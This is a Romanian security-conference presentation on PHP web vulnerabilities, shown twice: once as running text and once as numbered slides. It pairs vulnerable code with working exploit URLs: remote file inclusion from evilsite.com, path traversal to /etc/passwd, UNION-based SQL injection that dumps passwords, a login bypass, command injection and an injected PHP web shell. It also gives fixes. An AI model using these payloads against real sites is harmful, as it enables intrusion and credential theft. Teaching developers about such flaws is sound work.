Analiza și evoluția vulnerabilităților webThe analysis and evolution of web vulnerabilitiesPopescu Petre Alexandru@DEFCAMPsirgod
Introducere	Vulnerabilitățile web au apărut odată cu apariția paginilor PHP. Încet-încet, odată cu evoluția PHP-ului, și vulnerabilitățile au evoluat. Au devenit din ce în ce mai multe și mai complexe. Industria securității s-a dezvoltat și ea astfel încât, în prezent, există numeroase oportunități de angajare pentru cei pasionați de acest aspect al securității IT. 	Prezentarea are scopul de a informa dezvoltatorii web de greșelile de programare pe care le pot face, erori care pot avea consecințe catastrofale în cazul unor companii mari. 	Prezentarea este bazată pe un vechi tutorial de al meu. Informații noi au fost adăugate, unele lucruri au fost modificate. Unele informații (exemple, cod etc) sunt preluate din scriptul PHP furnizat participanților la concursul WFC 02 (din soluția trimisă de mine).	Analiza unei vulnerabilități web este împărțită în câteva secții:		-  exemplu de bază		- unul sau mai multe exemple reale		- una sau mai multe metode de protejare/evitare		- evoluția (istorie)		- informații adiționale
Necesare PHP, MySQL, Apache, phpMyAdmin (sau XAMMP, WAMP etc.)
 Text Editor (e.g. Notepad++)
 custom php.ini
 Cunoștințe PHP, HTML, MySQL, JavaScript
 Răbdare și voințăphp.inisafe_mode = off
disabled_functions= N/A
register_globals= on
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
short_tag_open = on
asp tags = on
file_uploads = on
display_errors= onRFI – Remote File Inclusionpermiteincluderea de fișiere externe
 are nevoie de condiții speciale în php.ini
allow_url_fopen
allow_url_include
 vulnerabilitate cu grad de risc extrem de ridicat
 funcții în PHP care permit includerea fișierelor
 include
 include_once
 require
 require_once
 bypass
  https, ftp etc.
 %00 - NULLBYTE  RFI – Remote File InclusionExemple de bază:$pagina=$_GET['pagina'];include$pagina; http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt$pagina=$_GET['pagina'];include$pagina.‘.php'; http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00RFI – Remote File InclusionExemple realeif(isset($_REQUEST["main_content"])){$main_content=$_REQUEST["main_content"];}elseif(isset($_SESSION["main_content"])){$main_content=$_SESSION["main_content"];}ob_start();require_once($main_content);http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txtRFI – Remote File InclusionFixareeliminarecaractere speciale nepermise : /
 switch()
expresii regulate (validarealfanumerică)Evoluție/Istorie Vulnerabilitățile de tip Remote File Inclusion devin tot mai rare. Dacă prin anii 2004-2005 (milw0rm) se făcuseră publice o mulțime de asemenea vulnerabilități, acum de abia dacă mai zărim una, două. În scripturile moderne și populare este foarte improbabil să existe astfel de vulnerabilități. După părerea mea, RFI este una dintre vulnerabilitățile pe cale de dispariție și nu numai din cauza codului PHP scris din ce în ce mai bine, ci și din cauza configurației serverelor (php.ini). În zilele acestea, deși o vulnerabilitate pe cale de dispariție, există softuri care “caută pe Google” siteuri al căror URL corespunde cu anumite “dorkuri”.LFI – Local File Inclusionpermiteincluderea de fișiere locale
vulnerabilitate cu grad de riscridicat
 funcții în PHP care permit includerea fișierelor
 include
 include_once
 require
 require_once
 bypass
..%5C (Windows)
 ..\ (Windows)
 %00 - NULLBYTELFI – Local File InclusionExemplu de bază$pagina=$_GET['pagina'];include'/pages/'.$pagina; http://127.0.0.1/test.php?pagina=../../../../../etc/passwd
 http://127.0.0.1/test.php?pagina=..\..\..\..\boot.ini$pagina=$_GET['pagina'];include'/pages/'.$pagina. ‘.php'; http://127.0.0.1/test.php?pagina=../../../../../etc/passwd%00
 http://127.0.0.1/test.php?pagina=..\..\..\..\boot.ini%00LFI – Local File InclusionExemplu realif(empty($_GET["url"]))$url='step_welcome.php';else$url=$_GET["url"];<p><?include('step/'.$url)?></p> http://127.0.0.1/install/install.php?url=../../../../../../etc/passwdLFI – Local File InclusionFixareeliminarecaractere speciale nepermise : / . \
 switch()
expresii regulate (validarealfanumerică)Evoluție/Istorie Vulnerabilitățile de tip Local File Inclusion suntmai rareîn zilele acestea. LFI este o vulnerabilitate mai greu de exploatat decât o vulnerabilitate de tip RFI. O alternativă a exploatării vulnerabilităților LFI, pe langă Log Injection , ar fi injectarea de cod PHP în proc/self/environ. Exploatarea ei a evoluat totuși, acum existând softuri care facfuzzing și o exploatează automat.LFD – Local File Disclosure/Downloadpermitedescărcarea/vizualizareafișierelor locale
vulnerabilitate cu grad de riscmediu spre ridicat
 funcții în PHP care permit citirea fișierelor
 file_get_contents
 readfile
 file
 fopen
 highlight_file
 show_source
 bypass
 ..%5C (Windows)
 ..\ (Windows)
 %00 - NULLBYTELFD – Local File Disclosure/DownloadExemplu de bază$pagina=$_GET['pagina'];    readfile($pagina); http://127.0.0.1/test.php?pagina=../../../../../etc/passwd
 http://127.0.0.1/test.php?pagina=../config.inc.phpLFD – Local File Disclosure/DownloadExemplu real$file=$_SERVER["DOCUMENT_ROOT"].$_REQUEST['file'];          header("Pragma: public");          header("Expires: 0");          header("Cache-Control: must-revalidate, post-check=0, pre-check=0");          header("Content-Type: application/force-download");          header("Content-Disposition: attachment; filename=".basename($file));//header( "Content-Description: File Transfer");          @readfile($file);die();http://127.0.0.1/download.php?file=../../../../../../etc/passwdLFD – Local File Disclosure/DownloadFixareeliminarecaractere speciale nepermise : / . \
expresii regulate
 restricționare folder (open_basedir)Evoluție/Istorie Vulnerabilitățile de tip Local File Disclosure/Download suntmai rareîn zilele acestea. LFD este o vulnerabilitate asemănatoare LFI-ului, diferența dintre ele fiind că prin LFI se include codul PHP (se execută) iar prin LFD doar se citește. Nu este o vulnerabilitate atât de răspândită și cunoscută precum LFI/RFI, dar există. Probabil o să mai fie prin preajmă ceva timp, mai ales in siteurile mici, medii de file sharing/downloading. SQL Injectionpermiteexecutarea de comenzi SQL asupra bazei de date prin requesturi alterate
vulnerabilitate cu grad de riscmediu spre ridicat
SQL Injection poate fi realizat pe mai multe tipuri de baze date
 MySQL
 MSSQL
 PostgreSQL
 etc.
 există mai multe tipuri de injecții
 union based

Analiza si evolutia vulnerabilitatilor web

  • 1.
    Analiza și evoluțiavulnerabilităților webThe analysis and evolution of web vulnerabilitiesPopescu Petre Alexandru@DEFCAMPsirgod
  • 2.
    Introducere Vulnerabilitățile web auapărut odată cu apariția paginilor PHP. Încet-încet, odată cu evoluția PHP-ului, și vulnerabilitățile au evoluat. Au devenit din ce în ce mai multe și mai complexe. Industria securității s-a dezvoltat și ea astfel încât, în prezent, există numeroase oportunități de angajare pentru cei pasionați de acest aspect al securității IT. Prezentarea are scopul de a informa dezvoltatorii web de greșelile de programare pe care le pot face, erori care pot avea consecințe catastrofale în cazul unor companii mari. Prezentarea este bazată pe un vechi tutorial de al meu. Informații noi au fost adăugate, unele lucruri au fost modificate. Unele informații (exemple, cod etc) sunt preluate din scriptul PHP furnizat participanților la concursul WFC 02 (din soluția trimisă de mine). Analiza unei vulnerabilități web este împărțită în câteva secții: - exemplu de bază - unul sau mai multe exemple reale - una sau mai multe metode de protejare/evitare - evoluția (istorie) - informații adiționale
  • 3.
    Necesare PHP, MySQL,Apache, phpMyAdmin (sau XAMMP, WAMP etc.)
  • 4.
    Text Editor(e.g. Notepad++)
  • 5.
  • 6.
    Cunoștințe PHP,HTML, MySQL, JavaScript
  • 7.
    Răbdare șivoințăphp.inisafe_mode = off
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
    display_errors= onRFI –Remote File Inclusionpermiteincluderea de fișiere externe
  • 17.
    are nevoiede condiții speciale în php.ini
  • 18.
  • 19.
  • 20.
    vulnerabilitate cugrad de risc extrem de ridicat
  • 21.
    funcții înPHP care permit includerea fișierelor
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
    https,ftp etc.
  • 28.
    %00 -NULLBYTE RFI – Remote File InclusionExemple de bază:$pagina=$_GET['pagina'];include$pagina; http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt$pagina=$_GET['pagina'];include$pagina.‘.php'; http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00RFI – Remote File InclusionExemple realeif(isset($_REQUEST["main_content"])){$main_content=$_REQUEST["main_content"];}elseif(isset($_SESSION["main_content"])){$main_content=$_SESSION["main_content"];}ob_start();require_once($main_content);http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txtRFI – Remote File InclusionFixareeliminarecaractere speciale nepermise : /
  • 29.
  • 30.
    expresii regulate (validarealfanumerică)Evoluție/IstorieVulnerabilitățile de tip Remote File Inclusion devin tot mai rare. Dacă prin anii 2004-2005 (milw0rm) se făcuseră publice o mulțime de asemenea vulnerabilități, acum de abia dacă mai zărim una, două. În scripturile moderne și populare este foarte improbabil să existe astfel de vulnerabilități. După părerea mea, RFI este una dintre vulnerabilitățile pe cale de dispariție și nu numai din cauza codului PHP scris din ce în ce mai bine, ci și din cauza configurației serverelor (php.ini). În zilele acestea, deși o vulnerabilitate pe cale de dispariție, există softuri care “caută pe Google” siteuri al căror URL corespunde cu anumite “dorkuri”.LFI – Local File Inclusionpermiteincluderea de fișiere locale
  • 31.
  • 32.
    funcții înPHP care permit includerea fișierelor
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
    %00 -NULLBYTELFI – Local File InclusionExemplu de bază$pagina=$_GET['pagina'];include'/pages/'.$pagina; http://127.0.0.1/test.php?pagina=../../../../../etc/passwd
  • 41.
  • 42.
    http://127.0.0.1/test.php?pagina=..\..\..\..\boot.ini%00LFI –Local File InclusionExemplu realif(empty($_GET["url"]))$url='step_welcome.php';else$url=$_GET["url"];<p><?include('step/'.$url)?></p> http://127.0.0.1/install/install.php?url=../../../../../../etc/passwdLFI – Local File InclusionFixareeliminarecaractere speciale nepermise : / . \
  • 43.
  • 44.
    expresii regulate (validarealfanumerică)Evoluție/IstorieVulnerabilitățile de tip Local File Inclusion suntmai rareîn zilele acestea. LFI este o vulnerabilitate mai greu de exploatat decât o vulnerabilitate de tip RFI. O alternativă a exploatării vulnerabilităților LFI, pe langă Log Injection , ar fi injectarea de cod PHP în proc/self/environ. Exploatarea ei a evoluat totuși, acum existând softuri care facfuzzing și o exploatează automat.LFD – Local File Disclosure/Downloadpermitedescărcarea/vizualizareafișierelor locale
  • 45.
    vulnerabilitate cu gradde riscmediu spre ridicat
  • 46.
    funcții înPHP care permit citirea fișierelor
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
    %00 -NULLBYTELFD – Local File Disclosure/DownloadExemplu de bază$pagina=$_GET['pagina']; readfile($pagina); http://127.0.0.1/test.php?pagina=../../../../../etc/passwd
  • 57.
    http://127.0.0.1/test.php?pagina=../config.inc.phpLFD –Local File Disclosure/DownloadExemplu real$file=$_SERVER["DOCUMENT_ROOT"].$_REQUEST['file']; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=".basename($file));//header( "Content-Description: File Transfer"); @readfile($file);die();http://127.0.0.1/download.php?file=../../../../../../etc/passwdLFD – Local File Disclosure/DownloadFixareeliminarecaractere speciale nepermise : / . \
  • 58.
  • 59.
    restricționare folder(open_basedir)Evoluție/Istorie Vulnerabilitățile de tip Local File Disclosure/Download suntmai rareîn zilele acestea. LFD este o vulnerabilitate asemănatoare LFI-ului, diferența dintre ele fiind că prin LFI se include codul PHP (se execută) iar prin LFD doar se citește. Nu este o vulnerabilitate atât de răspândită și cunoscută precum LFI/RFI, dar există. Probabil o să mai fie prin preajmă ceva timp, mai ales in siteurile mici, medii de file sharing/downloading. SQL Injectionpermiteexecutarea de comenzi SQL asupra bazei de date prin requesturi alterate
  • 60.
    vulnerabilitate cu gradde riscmediu spre ridicat
  • 61.
    SQL Injection poatefi realizat pe mai multe tipuri de baze date
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
    există maimulte tipuri de injecții
  • 67.
  • 68.
  • 69.
  • 70.
    authentication bypassSQLInjectionExemplu de bază$id=$_GET['id'];$result=mysql_query("SELECT name FROM members WHERE id = '$id'");http://127.0.0.1/test.php?id=1+union+all+select+1,2,concat_ws(0x3a, user, pass),4--
  • 71.
  • 72.
    http://127.0.0.1/test.php?id=1+union+all+select+1,2,load_file(0x6574632f706173737764),4--SQL InjectionExemplu real$id=$_GET['itemnr'];require_once($home."mysqlinfo.php");$query="SELECTtitle, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";$result=mysql_query($query);if(mysql_num_rows($result)){$r=mysql_fetch_array($result);http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--SQL InjectionExemplu real: Login Bypass$postbruger=$_POST['username'];$postpass= md5($_POST['password']);$resultat=mysql_query("SELECT * FROM ".$tablestart."login WHERE brugernavn = '$postbruger' AND password = '$postpass'")ordie("<p>".mysql_error()."</p>\n");Post Data (sent) username: admin ' or' 1=1 password: sirgod$resultat=mysql_query("SELECT * FROM ".$tablestart."login WHERE brugernavn = 'admin ' or ' 1=1 ' AND password = 'sirgod'");
  • 73.
    SQL InjectionFixare int,is_numeric pentru variabile numerice
  • 74.
  • 75.
  • 76.
    filtrare caracterespeciale ; - , . ( ) * / ‘ “Evoluție/IstorieVulnerabilitățile de tip SQL Injection sunt foarte răspândite. În ultimul timp a avut loc o “explozie” a injectatului cod SQL în variabile. O vulnerabilitate periculoasă si cunoscută multor oameni din “underground” sau nu. De-a lungultimpuluimetodele de exploatare s-au diversificat, metode de bypass a protecțiilor (WAF, mod_security) au apărut. În zilele astea, accesul la baza de date nu este ceva extraordinar, s-a ajuns de mult la lucrul cu fișiere (load_file into outfile) și executarea de comenzi asupra sistemului de operare. Insecure Cookie Handling ne permite să trecem peste faza de logare
  • 77.
    mărire privilegii (dacăsunt stocate în cookie)
  • 78.
    vulnerabilitate cu gradde riscmediu spre ridicat
  • 79.
  • 80.
    direct dincookie (cookie editor)
  • 81.
    din URLBar (JavaScript)Insecure Cookie HandlingExemplu de bazăif($_POST['password']==$thepass){setcookie("is_user_logged","1");}else{die("Login failed!");}if($_COOKIE['is_user_logged']=="1"){include"admin.php";else{die('not logged');}javascript:document.cookie = "is_user_logged=1; path=/";Insecure Cookie HandlingExemplu realif($_COOKIE[PHPMYBCAdmin]==''){if(!$_POST[login]=='login'){die("Please Login:<BR><form method=post><input type=password name=password><input type=hidden value=login name=login><input type=submit></form>");}elseif($_POST[password]==$bcadminpass){setcookie("PHPMYBCAdmin","LOGGEDIN", time()+60*60); header("Location: admin.php");}else{die("Incorrect");}} javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";Insecure Cookie HandlingFixare folosire sesiuniEvoluție/Istorie Insecure Cookie Handling este o vulnerabilitate veche, nu o mai întalnim în zilele acestea decât în scripturi obscure și nefolosite. O întâlnim la scripturi vechi, cel mai probabil scripturi scrise înainte ca $_SESSION să apară (înainte de PHP 4.1.0). Remote Command Execution ne permite să executăm comenzi asupra serverului (permisiuni www/apache)
  • 82.
    funcții în PHPcare ne permit executare de comenzi
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
    vulnerabilitate cu gradde risc foarteridicat
  • 88.
    exec() nuarată outputul comenzii, dar ea este executată
  • 89.
    comenzi multiple/bypass(operatorul && și ||)Remote Command ExecutionExemplu de bază$cmd=$_GET['cmd']; system($cmd); http://127.0.0.1/test.php?cmd=whoami
  • 90.
    http://127.0.0.1/test.php?cmd=junk||dirRemote CommandExecutionExemplu real$status=$_GET['status'];$ns=$_GET['ns'];$host=$_GET['host'];$query_type=$_GET['query_type'];// ANY, MX, A , etc.$ip=$_SERVER['REMOTE_ADDR'];$self=$_SERVER['PHP_SELF'];$host= trim($host);$host=strtolower($host);echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");echo'<pre>'; system ("dig @$ns $host $query_type"); http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=diggingComandă executată: dig ||whoami|| sirgod.net NS
  • 91.
    Remote Command ExecutionExemplureal: Complex$user=$_POST['user'];$pass1=$_POST['pass1'];$pass2=$_POST['pass2'];$email1=$_POST['email1'];$email2=$_POST['email2'];$location=$_POST['location'];$url=$_POST['url'];$filename="./sites/".$user.".php";$html="<?php \$regdate = \"$date\"; \$user = \"$user\"; \$pass = \"$pass1\"; \$email = \"$email1\"; \$location = \"$location\"; \$url = \"$url\"; ?>";$fp=fopen($filename,'a+');fputs($fp,$html)ordie("Could not open file!");
  • 92.
    Remote Command ExecutionCoduldin fișierul creat$regdate="13 June 2009, 4:16 PM";$user="pwned";$pass="pwned";$email="pwned@yahoo.com";$location= “CODUL NOSTRU";$url="http://google.ro";Cod injectat\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
  • 93.
    Remote Command ExecutionCoduldin fișierul creat după executarea injecției$regdate="13 June 2009, 4:16 PM";$user="pwned";$pass="pwned";$email="pwned@yahoo.com";$location="";?><?php system($_GET['cmd']);?><?php$xxx=":D";$url="http://google.ro";http://127.0.0.1/sites/ourusername.php?cmd=whoamiRemote Command ExecutionFixare folosire funcții precum
  • 94.
    escapeshellarg (escapează oricecaracter care poate fi folosit pentru a executa cod arbitrar)Evoluție/Istorie Remote Command Execution este o vulnerabilitate foarte periculoasă, dar nu mai este atât de răspândită ca acum câțiva ani. De obicei prezentă in scripturi de WHOIS, precum cel din exemplul anterior. O putem numi “vulnerabilitateasupremă”, deoarecetoatecelelaltevulnerabilități sunt exploatate ca să se ajungă la execuție de cod arbitrar, pe când aceasta ne oferă execuție de cod în mod direct.Remote Code Execution ne permite să executăm cod PHP
  • 95.
    funcții în PHPcare ne permit executare de cod
  • 96.
  • 97.
    vulnerabilitate cu gradde risc foarteridicat
  • 98.
    trebuie folositcod PHP valid (inclusiv ;)Remote Code ExecutionExemplu de bază$code=$_GET['code'];eval($code); http://127.0.0.1/test.php?code=phpinfo();
  • 99.
    http://127.0.0.1/test.php?code=system(whoami);Remote Code ExecutionExemplureal$conf=array_merge($conf,$confweb);} @eval(stripslashes($_REQUEST['anticode']));if($_SERVER['HTTP_CLIENT_IP'])http://127.0.0.1/test.php?anticode=phpinfo();
  • 100.
    http://127.0.0.1/test.php?anticode=system(whoami);Remote CodeExecutionFixare nepermiterea caracterelor speciale, în special a caracterului ;
  • 101.
    găsire alternativeEvoluție/IstorieRemote Code Execution nu este o vulnerabilitate foarte răspândită, nici nu a fost vreodată. Peste foarte puține cazuri am dat, eval fiind o funcție nu prea folosită de programatori.Cross-Site Scripting ne permite să executăm cod JavaScript
  • 102.
    funcții în PHPcare afișează variabile
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
    metode deexploatare
  • 109.
  • 110.
  • 111.
    o mulțimede metode de bypassCross-Site ScriptingExemple de bază$name=$_GET['name'];print$name;http://127.0.0.1/test.php?name=<script>alert("XSS")</script>$name=addslashes($_GET['name']);print'<table name="'.$name.'"></table>';http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>Cross-Site ScriptingExemplu realif(isset($name)){}else{die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");http://127.0.0.1/test.php?name=<script>alert("XSS")</script>Cross-Site ScriptingFixare eliminarea caracterelor speciale din stringuri
  • 112.
  • 113.
    htmlentities (cusau fără ENT_QUOTES)
  • 114.
    htmlspecialchars (cusau fără ENT_QUOTES)Evoluție/IstorieCross-Site Scripting este o vulnerabilitate extrem de cunoscută, chiar cea mai cunoscută. Deși considerată de mulți inofensivă, nu este. În zilele de azi avem viermi XSS sau putem folosi XSS pentru a trece de protecții anti-CSRF. Avem DOM XSS. Vulnerabilitate foarte des întâlnită, atat cât și în anii trecuți cât și în prezent. Viitorul îl are asigurat, datorită vectorilor ciudați născociți în fiecare zi, vectori care par să treacă peste multe filtre puse de programatori.Authentication Bypass ne permite să trecem peste sistemele de autentificare
  • 115.
    este de maimulte feluri
  • 116.
  • 117.
    control panelneprotejat
  • 118.
    insecure cookiehandling (prezentat anterior)
  • 119.
    login bypass(SQL Injection) (prezentat anterior)
  • 120.
    vulnerabilitate cu gradde risc mediuAuthentication BypassExemplu de bază (variabilă de login)if($logged==true){echo'Logged in.';}else{print'Not logged in.';}http://127.0.0.1/test/php?logged=1 *Exemplu debază (și real) (admin CP neprotejat) http://127.0.0.1/admin/files.php* Aici este nevoie ca register_globals din php.ini să fie ON
  • 121.
    Authentication BypassExemplu realif($login_ok){$_SESSION['loggato']=true;echo"<p>$txt_pass_ok</p>";echo"<divalign='center'><a href='index.php'>$txt_view_entry</a> | <a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install </a></div>";}http://127.0.0.1/login.php?login_ok=1Authentication BypassFixareVariabilă de login sistem de autentificare REALAdmin CP neprotejat .htaccess
  • 122.
  • 123.
    sistem deautentificareEvoluție/Istorie Foarte rare cazurile în care am dat peste așa ceva, dar au fost câteva. Scripturi mai vechi sau mai obscure, în orice caz. Nu ca ar fi fost vreodată foarte răspândite, dar în momentul de față nu se “găsesc”. Plus că “variabila de login” arfi “moartă” acum, deoarece are nevoie de register_globals (începând cu PHP 4.2.0 a fost setată implicit pe OFF, iar începând cu PHP 5.3.0 a fost dezaprobată).Insecure Permissionsacces la fișiere private (users/passwords, no SQL)
  • 124.
    acces la bazade date (backup)
  • 125.
    acces lacodul sursă (.inc)
  • 126.
    vulnerabilitate cu gradde risc mediuInsecure PermissionsExemple de bază1) Fișiere administrative neprotejate (FICTIV)admin/db_lookup.php// Look up in the databasereadfile('protected/usersdb.txt');http://127.0.0.1/admin/db_lookup.php2) Citire users/passwords (REAL)http://127.0.0.1/userpwd.txt3) Fișiere INChttp://127.0.0.1/inc/mysql.incInsecure PermissionsExemplu real4) Descărcare backupfunctionmysqlbackup($host,$dbname,$uid,$pwd,$structure_only,$crlf){$con=@mysql_connect("localhost",$uid,$pwd)ordie("Could not connect");$db=@mysql_select_db($dbname,$con)ordie("Could not select db");mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);http://127.0.0.1/adminpanel/phpmydump.phpInsecure PermissionsFixareFișiere administrative neprotejate .htaccess, .htpasswd, autentificareCitire users/passwords criptare useri/parole într-un fișier obscur, protejat
  • 127.
    folosire bazăde dateFisiere INC .htaccess, .htpasswd, autentificare, salvare ca PHPDownload backup cerere logare pentru fișierul administrativ de backupEvoluție/Istorie Vulnerabilități nu prea răspândite, există doar în scripturi vechi, obscure sau scrise de începători.Cross-Site Request Forgeryne permite executarea de requesturi de la distanță
  • 128.
    requesturi simple(variabile GET, POST)
  • 129.
  • 130.
  • 131.
    vulnerabilitate cugrad de risc mediu/ridicat
  • 132.
    metode dea trece de tokenuri
  • 133.
  • 134.
    predictible tokenCross-SiteRequest ForgeryExemplu de bazăcheck_auth();if(isset($_GET['news'])){ unlink('files/news'.$news.'.txt');}else{die('File not deleted');}http://127.0.0.1/test.php?news=1Cross-Site Request ForgeryExemplu realincludes/pages/admin.phpif($_GET['act']==''){include"includes/pages/admin/home.php";}else{include"includes/pages/admin/".$_GET['act'].".php";* Dacă valoarea variabilei act este members, fișierul includes/pages/admin/members.php va fiinclus. includes/pages/admin/members.phpif($_GET['func']=='delete'){$del_id=$_GET['id'];$query2121="select ROLE from {$db_prefix}members WHERE ID='$del_id'";$result2121=mysql_query($query2121)ordie("delete.php - Error in query: $query2121");while($results2121=mysql_fetch_array($result2121)){$their_role=$results2121['ROLE'];}if($their_role!='1'){mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'")ordie(mysql_error());* Dacă valoarea variabilei func este delete, scriptul execută query-ul de mai sus.http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4Cross-Site Request ForgeryFixare folosire token random
  • 135.
  • 136.
    cerere parolăpentru a trimite formularulEvoluție/Istorie Vulnerabilitate nu foarte “veche”, dartotuși cu ceva ani buni la activ. Foarte răspândită și foarte periculoasă în anumite cazuri. Mai greu de exploatat pentru scripturi custom made, deoarece formularele administrative nu sunt vizibile. Va avea un viitor, deja s-au găsit metode de a trece de protecțiile cu token și de sistemele CAPTCHA. Path Disclosure ne oferă informații folositoare în anumite cazuri
  • 137.
    poate firealizat în mai multe moduri
  • 138.
    este ovulnerabilitate cu grad de risc scăzut
  • 139.
    este folositoarepentru LFI sau SQL Injection (load_file)Path DisclosureExemple de bază1) Eroaregenerată de funcție$message=htmlentities($_GET['page']);echo$message;http://127.0.0.1/test.php?page[]=CoolWarning: htmlentities() expects parameter 1 to be string, array given in C:\wamp\www\test.php on line 32) Eroare generată de incluziune eșuată// we are already in the file directoryinclude'file/file.inc';http://127.0.0.1/theabovefile.phpWarning: include(file/file.inc) [function.include]: failed to open stream: No such file or directory in C:\wamp\www\file\file.php on line 4Warning: include() [function.include]: Failed opening 'file/file.inc' for inclusion (include_path='.;C:\php\pear') in C:\wamp\www\file\file.php on line 4
  • 140.
    Path Disclosure3) Eroaregenerată de nullificarea sesiunii (PHPSESSID)session_start();if(!empty($_GET['newpass'])){$_SESSION['secret']=$newpass;}else{echo'Not defined';}session_destroy();javascript:document.cookie="PHPSESSID=";Warning: session_start() [function.session-start]: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in C:\wamp\www\test.php on line 3
  • 141.
    Path DisclosureFixare setaredisplay_errors din php.ini OFF
  • 142.
    folosirea silent(@) la incluziune
  • 143.
    includerea fișierelor ca un om normalEvoluție/Istorie Vulnerabilitate nu foarte cunoscută și nu foarte căutată, deoarece nu oferă foarte multe informații de una singură. Foarte folositoare când path-ul către fișier devine important pentru a evita alte zeci de requesturi. Vulnerabilități CAPTCHA trecerea de CAPTCHA ne permite automatizarea unor requesturi
  • 144.
    grad derisc variabil
  • 145.
  • 146.
    salvare codin COOKIE
  • 147.
    dimensiuni aleimaginii generate manipulabile (DoS)
  • 148.
    folosirea unuicod salvat TEXT în pagină
  • 149.
    OCR (nueste prezent în prezentare)Vulnerabilități CAPTCHAExemplu (WFC) – Salvare în COOKIEfunctioncaptcha($limit1,$w,$h){$v1= rand(1,$limit1);$scaptcha=$v1/(strlen($v1)*1000);$img=imagecreate($w,$h);$white=imagecolorallocate($img,255,255,255);$black=imagecolorallocate($img,0,0,0);$grey=imagecolorallocate($img,205,204,205);imagefill($img,0,0,$black);imagestring($img, rand(1,10), rand(1,35), rand(5,10),$scaptcha,$white); imagerectangle ($img,0,0,$w-1,$h-1,$grey); imageline ($img,0,$h/2,$w,$h/2,$grey); imageline ($img,$w/2,0,$w/2,$h,$grey);setcookie('cvalue',$scaptcha,time()+7200); header("Content-Type: image/jpeg");imagejpeg($img);} Codul poate fi preluat din COOKIE și folosit pentru a trece de sistemVulnerabilități CAPTCHAExemplu real (CaptchaSecurityImages.php) – DoS$width=isset($_GET['width'])?$_GET['width']:'120';$height=isset($_GET['height'])?$_GET['height']:'40';$characters=isset($_GET['characters'])&&$_GET['characters']>1?$_GET['characters']:'6';http://127.0.0.1/CaptchaSecurityImages.php?width=3000&height=3000&characters=6Vulnerabilități CAPTCHAExemplu - Afișare cod în pagină<?phpsession_start();if(isset($_POST['submit'])){if($_POST['cod']==$_SESSION['captcha']){print'Succes';$_SESSION['captcha']= rand(1000,10000);}elseprint'Mai incearca';}?><formmethod="post"> Cod: <?phpif(isset($_SESSION['captcha']))print$_SESSION['captcha'];else{$_SESSION['captcha']= rand(1000,10000);print$_SESSION['captcha'];}?><inputtype="text"name="cod"value=""/><inputtype="submit"name="submit"value="Click"/></form> Codul poate fi citit din sursa paginiiVulnerabilități CAPTCHAFixareSalvare in COOKIEsalvare cod CAPTCHA în sesiuniDoS valori fixe sau limitate pentru înalțimea și lățimea imaginii generateAfișare cod în pagină afișare cod pe imagineEvoluție/Istorie Vulnerabilitate sistemelor CAPTCHA nu sunt foarte răspândite (deși CaptchaSecurityImages era foarte popular) deoarece majoritatea utilizatorilor folosesc soluții precum reCaptcha sau creații proprii bune. Improper methods login bruteforce
  • 150.
  • 151.
  • 152.
    vulnerabilități cu gradde risc mediuImproper methodsExemplu WFC - Login bruteforceif(isset($_POST)&&sizeof($_POST)==2){$user=$_POST['username'];$passwd=$_POST['password'];$state=$users->doLogin($user,$passwd,true);switch($state){case1:echo'<META HTTP-EQUIV=Refresh CONTENT="0; URL=?page=home">';break;case-1:echo'Invalid password.';break;case-2:echo'Invalid username.';break;case-3:echo'User logged.';break;}echo'<br />';}?>} Login bruteforce (nu e CAPTCHA, nici număr limitat de încercări)Improper methodsExemplu WFC – Password Reset$db->query("SELECT * FROM `users` WHERE username_clean = '".$_POST['username']."' LIMIT 1");if($db->getNumRows()==1){$npasswd= md5(rand(1,99999));$row=$db->fetch_array();if(stripos($_POST['email'],$row['email'])!==FALSE){$db->query("UPDATE `users` set password='".$npasswd."' WHERE username_clean = '".mysql_real_escape_string($_POST['username'])."' LIMIT 1");echo'Successfully reseted. You received an e-mail with your new password.'; Requesturi automate, parolă resetată continuuImproper methodsExemplu WFC – insecure “not-so-random” passwords$npasswd= md5(rand(1,99999));$row=$db->fetch_array();if(stripos($_POST['email'],$row['email'])!==FALSE){$db->query("UPDATE `users` set password='".$npasswd."' WHERE username_clean = '".mysql_real_escape_string($_POST['username'])."' LIMIT 1");echo'Successfully reseted. You received an e-mail with your new password.'; Număr relativ mic de parole posibile, bruteforce login după resetareImproper MethodsFixareLogin Bruteforce CAPTCHA, număr limitat de logări eșuate permisePassword reset CAPTCHA, activare parolă nouă pe email, resetare imposibilă pana la activarea noii paroleInsecure not-so-random password folosirea unor algoritmi mai complecși de generare a paroleiEvoluție/Istorie Aceste vulnerabilități se găsesc în scripturi, desigur, nu toate la un loc. Riscul pe care îl prezintă variază în 